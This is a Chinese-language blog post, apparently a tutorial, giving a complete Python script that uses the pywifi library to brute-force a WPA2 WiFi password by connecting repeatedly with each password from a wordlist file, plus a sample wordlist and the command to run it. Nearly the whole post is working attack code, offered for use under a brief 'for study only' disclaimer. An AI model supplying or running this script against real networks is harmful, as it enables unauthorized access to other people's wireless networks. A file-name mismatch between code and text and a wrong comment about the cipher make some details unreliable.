Python破解Wifi密码脚本

Python破解Wifi密码脚本

使用pywifi 暴力破解wifi密码,就是使用使用多个密码与wifi进行连接测试。总的来说,破解成功的可能性是存在的,但需要付出很多的努力,当然,付出努力也不一定能够破解;因此,这个破解程序脚本仅供学习研究使用。

程序文件名为“d:\TestWifi.py”,内容如下:

 

import pywifi

from pywifi import const

import time

 

# 测试连接,返回链接结果

#def wifi_connect(pwd):

# 抓取网卡接口

wifi = pywifi.PyWiFi()

# 获取第一个无线网卡

wireless_network = wifi.interfaces()[0]

# 断开所有连接

wireless_network.disconnect()

#   打开密码本文件

file = open("d:\\1pass00.txt", "r")

wifi_status = wireless_network.status()

if wifi_status == const.IFACE_DISCONNECTED:

    # 创建WiFi连接文件

    wifi_file = pywifi.Profile()

    # 要连接WiFi的名称

    wifi_file.ssid = "XXXXX"

    # 显示正在尝试连接的WiFi的名称

    print("正在尝试连接%s..." %wifi_file.ssid)

    # 网卡的开放状态

    wifi_file.auth = const.AUTH_ALG_OPEN

    # wifi加密算法,一般wifi加密算法为wps

    wifi_file.akm.append(const.AKM_TYPE_WPA2PSK)

    # 加密单元

    wifi_file.cipher = const.CIPHER_TYPE_CCMP

    while True:

        # 调用密码        wifi_file.key = pwd

        wifi_file.key = file.readline()

        if not wifi_file.key:

            print("密码读取完毕!")

            break #   密码读取完毕,则跳出while循环

        # 删除所有连接过的wifi文件

        wireless_network.remove_all_network_profiles()

        # 设定新的连接文件

        tep_profile = wireless_network.add_network_profile(wifi_file)

        wireless_network.connect(tep_profile)

        # wifi连接时间

        time.sleep(3)

        if wireless_network.status() == const.IFACE_CONNECTED:

            print("破解成功!密码: %s" %(wifi_file.key))

            break

        else:

            print("尝试密码: %s    失败" %(wifi_file.key))

       

else:

    print("已有wifi连接")

   

file.close()

 

程序中,file = open("d:\\pass00.txt", "r"),打开d盘根目录的文本文件pass00.txt,该文本文件中保存一些可能的密码,用于逐个测试。文件内容的形式如下:

1234qwer

1a2b3c4d

1a2b3c4d5e

a1b2c3d4

a1b2c3d4e5

abcd1234

abcde12345

abcdef1234

 

在命令行窗口,使用命令

           python d:\TestWifi.py

可运行程序。

 

注意:需要使用python安装pywifi,在Win10中的安装方法可参见

https://blog.csdn.net/Alexabc3000/article/details/106558392/

 

你可能感兴趣的:(Python破解Wifi密码脚本)